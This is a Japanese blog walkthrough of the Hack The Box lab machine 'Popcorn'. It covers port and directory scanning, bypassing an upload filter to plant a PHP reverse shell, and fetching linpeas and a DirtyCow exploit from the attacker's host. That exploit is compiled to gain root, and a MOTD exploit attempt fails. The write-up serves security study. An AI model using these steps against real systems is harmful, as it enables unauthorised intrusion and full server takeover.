家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Popcorn

偵察/スキャン

まずはnmapによる調査を行います。

ports=$(nmap -p- -P0 -T4 10.10.10.6 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -v -P0 -p$ports 10.10.10.6

 

 

 

TCP22及びTCP80が開いていることがわかります。

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Warning: The -P0 option is deprecated. Please use -Pn
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-20 22:55 JST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 22:55
Completed Parallel DNS resolution of 1 host. at 22:55, 0.02s elapsed
Initiating Connect Scan at 22:55
Scanning 10.10.10.6 [2 ports]
Discovered open port 80/tcp on 10.10.10.6
Discovered open port 22/tcp on 10.10.10.6
Completed Connect Scan at 22:55, 0.20s elapsed (2 total ports)
Initiating Service scan at 22:55
Scanning 2 services on 10.10.10.6
Completed Service scan at 22:55, 6.70s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.6.
Initiating NSE at 22:55
Completed NSE at 22:55, 5.31s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.80s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Nmap scan report for 10.10.10.6
Host is up (0.20s latency).


PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_  2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp open  http    Apache httpd 2.2.12 *1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


NSE: Script Post-scanning.
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.87 seconds

 

次にhttp://10.10.10.6にアクセスしてみます。

f:id:iestudy:20210522230323p:plain

Webアクセスの結果

 

さらにWebサービスに情報がないか、Webコンテンツスキャナーの「gobuster」で調査を行います。(TA0009: Collection)

gobuster dir -u http://10.10.10.6 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -k -o popcorn.gobuster

補足:gobusterの説明

「dir」はコマンドの指定です。
dirモードは、対象ドメインのコンテンツを検索するために使用されます。
(隠しディレクトリとファイルも含まれます。)

dirモードでは、フラグ「-u」を使用してブルートフォースするドメインまたはサブドメインを指定し、「-w」を使用して使用するワードリストを指定できます。
また、-tはスレッド数を指定できます。(Number of concurrent threads (default 10))

その他のオプションで「-k」は「--no-tls-validation Skip TLS certificate verification」、「-o」は出力結果のファイル保存です。

なお、実行中に「context deadline exceeded 」のようなエラーが表示される場合は「-t」の値を小さく設定することでエラーを抑止できる場合があります。

 

「gobuster」の実行結果より、以下のサイトが公開されていることがわかります。

/index                (Status: 200) [Size: 177]
/test                 (Status: 200) [Size: 47032]
/torrent              (Status: 301) [Size: 310] [--> http://10.10.10.6/torrent/]
/rename               (Status: 301) [Size: 309] [--> http://10.10.10.6/rename/] 
 
 なお、「dirb」でも同様の結果を得ることができます。
┌──(kali㉿kali)-[~]
└─$ dirb http://10.10.10.6
 
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
 
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
 
-----------------
 
GENERATED WORDS: 4612                                                          
 
---- Scanning URL: http://10.10.10.6/ ----
+ http://10.10.10.6/cgi-bin/ (CODE:403|SIZE:286)                                                                             
+ http://10.10.10.6/index (CODE:200|SIZE:177)                                                                                
+ http://10.10.10.6/index.html (CODE:200|SIZE:177)                                                                           
+ http://10.10.10.6/server-status (CODE:403|SIZE:291)                                                                        
+ http://10.10.10.6/test (CODE:200|SIZE:47328)                                                                               
==> DIRECTORY: http://10.10.10.6/torrent/                        
 
dirbでは見つかったディレクトリに対してさらに調査を行ってくれます。
---- Entering directory: http://10.10.10.6/torrent/ ----
==> DIRECTORY: http://10.10.10.6/torrent/admin/                                                                              
+ http://10.10.10.6/torrent/browse (CODE:200|SIZE:9278)                                                                      
+ http://10.10.10.6/torrent/comment (CODE:200|SIZE:936)                                                                      
+ http://10.10.10.6/torrent/config (CODE:200|SIZE:0)                                                                         
==> DIRECTORY: http://10.10.10.6/torrent/css/                                                                                
==> DIRECTORY: http://10.10.10.6/torrent/database/                                                                           
+ http://10.10.10.6/torrent/download (CODE:200|SIZE:0)                                                                       
+ http://10.10.10.6/torrent/edit (CODE:200|SIZE:0)                                                                           
==> DIRECTORY: http://10.10.10.6/torrent/health/                                                                             
+ http://10.10.10.6/torrent/hide (CODE:200|SIZE:3765)                                                                        
==> DIRECTORY: http://10.10.10.6/torrent/images/                                                                             
+ http://10.10.10.6/torrent/index (CODE:200|SIZE:11356)                                                                      
+ http://10.10.10.6/torrent/index.php (CODE:200|SIZE:11356)                                                                  
==> DIRECTORY: http://10.10.10.6/torrent/js/                                                                                 
==> DIRECTORY: http://10.10.10.6/torrent/lib/                                                                                
+ http://10.10.10.6/torrent/login (CODE:200|SIZE:8371)                                                                       
+ http://10.10.10.6/torrent/logout (CODE:200|SIZE:182)                                                                       
+ http://10.10.10.6/torrent/preview (CODE:200|SIZE:28104)                                                                    
==> DIRECTORY: http://10.10.10.6/torrent/readme/                                                                             
+ http://10.10.10.6/torrent/rss (CODE:200|SIZE:964)                                                                          
+ http://10.10.10.6/torrent/secure (CODE:200|SIZE:4)                                                                         
+ http://10.10.10.6/torrent/stylesheet (CODE:200|SIZE:321)                                                                   
==> DIRECTORY: http://10.10.10.6/torrent/templates/                                                                          
+ http://10.10.10.6/torrent/thumbnail (CODE:200|SIZE:1789)                                                                   
==> DIRECTORY: http://10.10.10.6/torrent/torrents/                                                                           
==> DIRECTORY: http://10.10.10.6/torrent/upload/                                                                             
+ http://10.10.10.6/torrent/upload_file (CODE:200|SIZE:0)                                                                    
==> DIRECTORY: http://10.10.10.6/torrent/users/                   
 

アクセスの取得

http://10.10.10.6/torrent」をさらに調査します。
ユーザを登録できるようなので、適当なユーザを作成して登録します。

f:id:iestudy:20210530212336p:plain

torrentに適当なユーザを登録
また、画面上部のメニューよりファイルのアップロードが可能なようなので試してみます。
 

f:id:iestudy:20210530212559p:plain

torrent形式のファイルのみアップロードが可能な模様
torrentファイルのみアップロード可能なようです。
Kaliのイメージ等がtorrent形式のファイルであるので、今回はそれを使ってアップロードが可能であるかを確認しました。
 
上記でファイルをアップロードすると、アップロードしたファイルにスクリーンショットが追加でアップロードできることがわかります。

f:id:iestudy:20210530213010p:plain

アップロードしたファイルへのスクリーンショットアップロード画面
ここでも画像形式のファイル以外をアップロードすると、エラーとしてはじかれます。

f:id:iestudy:20210530213723p:plain

スクリーンショットは画像形式のファイルのみ
画像形式のファイルのみアップロード可能なようですが、ここでほかの形式のファイルもアップロードできないかを試します。
BurpSuiteを使用してリクエストを見てみます。
 
※なお、BurpSuiteを使う際には、プロキシ設定を簡単に切り替えられる「FoxyProxy」の導入や自己証明書の承認設定が必要な場合があります。
手順はこちらのサイトを参考にさせていただきました。
 
また、アップロードするのはKaliに標準で導入されている「php-reverse-shell.php」を使用します。(開発元はPenntestmonkey)
スクリプトの中で自分のIPアドレスおよびポート指定する部分があるので、そこを変更します。
 
変更部分
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
 
スクリプトの場所
 /usr/share/webshells/php/php-reverse-shell.php
 
スクリプトを準備し、実際のアップロードのタイミングでBurpSuiteでインターセプトし、リクエストの内容を確認します。
スクリプトファイルのアップロードリクエストの中でファイルタイプの指定部分(下図の赤枠)を画像ファイルに変更して送信します。

f:id:iestudy:20210530215857p:plain

リクエスト内容を変更(ファイルタイプの部分)
すると、ファイルが正常にアップロードされます。
アップロードされたファイルはdirbの結果にある、「http://10.10.10.6/torrent/upload」にあります。
 
kali側でncで待ち受けした状態で、アップロードしたファイルを閲覧するとリバースシェルが動作します。

f:id:iestudy:20210530220510p:plain

リバースシェル実行前
この時点ではwhoamiで確認するとwww-dataというユーザで、root権限ではありません。
このあと、権限昇格を行います。
 

権限昇格

今回は権限昇格に有用と思われる情報を収集するlinpeas.shを使用します。

特徴として、重要そうな部分が赤字で強調されたり、Pythonがない環境でも実行できたりする等の利点があります。 

 
まずは、kali側で「linpeas.sh」をダウンロードします。
wget "https://raw.githubusercontent.com/​carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.​sh" 
 
kali側で簡易Webサーバを立ち上げておき、Popcorn側でファイルをダウンロードします。
python3 -m http.server 80
 
なお、ファイルのダウンロードができなかったため(Permissionの問題) 、tmpに移動して実行しました。
$ pwd
/tmp
--2021-05-28 09:10:40--  http://10.10.14.2/linpeas.sh
Connecting to 10.10.14.2:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1665952 (1.6M) [text/x-sh]
Saving to: `linpeas.sh'
 
     0K .......... .......... .......... .......... ..........  3% 98.8K 16s
    50K .......... .......... .......... .......... ..........  6%  499K 9s
   100K .......... .......... .......... .......... ..........  9%  121K 10s
   150K .......... .......... .......... .......... .......... 12% 1.11M 8s
   200K .......... .......... .......... .......... .......... 15%  354K 7s
   250K .......... .......... .......... .......... .......... 18% 1.12M 6s
   300K .......... .......... .......... .......... .......... 21%  929K 5s
   350K .......... .......... .......... .......... .......... 24%  397K 4s
   400K .......... .......... .......... .......... .......... 27%  563K 4s
   450K .......... .......... .......... .......... .......... 30% 1.05M 4s
   500K .......... .......... .......... .......... .......... 33%  920K 3s
   550K .......... .......... .......... .......... .......... 36%  926K 3s
   600K .......... .......... .......... .......... .......... 39%  413K 3s
   650K .......... .......... .......... .......... .......... 43% 1.25M 2s
   700K .......... .......... .......... .......... .......... 46%  382K 2s
   750K .......... .......... .......... .......... .......... 49% 1.11M 2s
   800K .......... .......... .......... .......... .......... 52% 1.13M 2s
   850K .......... .......... .......... .......... .......... 55%  304K 2s
   900K .......... .......... .......... .......... .......... 58% 1.16M 2s
   950K .......... .......... .......... .......... .......... 61%  111K 2s
  1000K .......... .......... .......... .......... .......... 64% 4.35M 1s
  1050K .......... .......... .......... .......... .......... 67%  349M 1s
  1100K .......... .......... .......... .......... .......... 70%  376M 1s
  1150K .......... .......... .......... .......... .......... 73% 4.67M 1s
  1200K .......... .......... .......... .......... .......... 76% 1.06M 1s
  1250K .......... .......... .......... .......... .......... 79% 85.6K 1s
  1300K .......... .......... .......... .......... .......... 82%  255M 1s
  1350K .......... .......... .......... .......... .......... 86%  239M 1s
  1400K .......... .......... .......... .......... .......... 89% 2.20M 0s
  1450K .......... .......... .......... .......... .......... 92%  677K 0s
  1500K .......... .......... .......... .......... .......... 95%  246K 0s
  1550K .......... .......... .......... .......... .......... 98% 1.14M 0s
  1600K .......... .......... ......                          100%  222K=3.8s
 
2021-05-28 09:10:44 (426 KB/s) - `linpeas.sh' saved [1665952/1665952]
 
linpeas.shを実行すると色々な結果が表示されますが、Linuxのバージョンが古いことがわかります。
════════════════════════════════════╣ Basic information ╠════════════════════════════════════
OS: Linux version 2.6.31-14-generic-pae (buildd@rothera) (gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu8) ) #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hostname: popcorn
Writable folder: /dev/shm
[+] /bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /bin/nc is available for network discover & port scanning (linpeas can discover hosts and scan ports, learn more with -h)

※ちなみにunameでも上記情報は確認できます。

$ uname -a
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux

 

当該のバージョンでは「DirtyCow」という権限昇格の脆弱性があるようです。

f:id:iestudy:20210530222216p:plain

DirtyCow

上図赤枠より、攻撃モジュールをダウンロードし、Popcorn上でコンパイル及び実行します。

 
kali側
mv 40839 40839.c
 
Popcorn側
--2021-05-28 09:40:23--  http://10.10.14.2/40839.c
Connecting to 10.10.14.2:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5006 (4.9K) [text/x-csrc]
Saving to: `40839.c'
 
     0K ....                                                  100%  272K=0.02s
 
2021-05-28 09:40:24 (272 KB/s) - `40839.c' saved [5006/5006]
 

$ gcc -pthread 40839.c -o dirty -lcrypt
$ ls
$ ./dirty
Please enter the new password: aaa

 

再度kali側
$ ssh firefart@10.10.10.6
firefart@10.10.10.6's password: 
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686


To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/


  System information as of Fri May 28 09:44:11 EEST 2021


  System load: 1.77              Memory usage: 11%   Processes:       117
  Usage of /:  7.9% of 14.80GB   Swap usage:   0%    Users logged in: 0


  Graph this data and manage this system at https://landscape.canonical.com/


Last login: Tue Oct 27 11:08:55 2020
firefart@popcorn:~# 

 

ログインは管理者権限のあるユーザでログインできます。

ここまででフラグを取得できます。

f:id:iestudy:20210530222931p:plain

フラグ取得

権限昇格失敗(MOTD)

motd (Message Of The Day) の脆弱性から権限昇格を行う手法があったので試してみました。

なお、私の環境では失敗で終わりました。

 

Linuxの特権昇格のパターンは以下のものがあります。

Privilege Escalation

  1. Exploiting services running as root/root として実行されているサービスの悪用
  2. Exploiting SUID executables/SUID 実行可能ファイルの悪用
  3. Exploiting SUDO rights/user/SUDO の権利/ユーザーの悪用
  4. Exploiting badly configured cron jobs/不適切に構成された cron ジョブの悪用
  5. Exploiting users with "." in their path/「.」によるユーザーの悪用 彼らの道に
  6. Kernel Exploits/カーネルエクスプロイト

上記の「1」にある内容で、MOTDを攻撃します。

[+] World Writable Files
-rw-rw-rw- 1 root root 165 Oct 8 07:58 /var/run/motd

CTF-writeups/popcorn.md at master · Bengman/CTF-writeups · GitHub

 

searchsploit motd

上記で表示されたコードの内、14339を使用します。
なお、そのままではpopcorn上では実行エラーとなったので以下のコードで変換をしてからpopcornに渡します。

┌──(kali㉿kali)-[~]
└─$ dos2unix 14339a.sh    
dos2unix: ファイル 14339a.sh を Unix 形式へ変換しています。

 

また、popcorn上で以下を実行してからアップロードしたシェルを実行しました。

python -c 'import pty;pty.spawn("/bin/bash")'

 

結果としてはパスワードを求められ、それがわからず失敗となりました。

f:id:iestudy:20210601110708p:plain

失敗

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

トレーニングコンテンツ:「Hack The Box」を触り始めてみた: NECセキュリティブログ | NEC

Enterprise Tactics - attack-mitre-japan

【Hack the Box】Popcorn - Write Up - Qiita

【Hack the Box write-up】Popcorn | さんぽしの散歩記

【TryHackMe write-up】Skynet | さんぽしの散歩記

Hack the Box (HTB) machines walkthrough series — Popcorn - Infosec Resources

 

 

 



*1:Ubuntu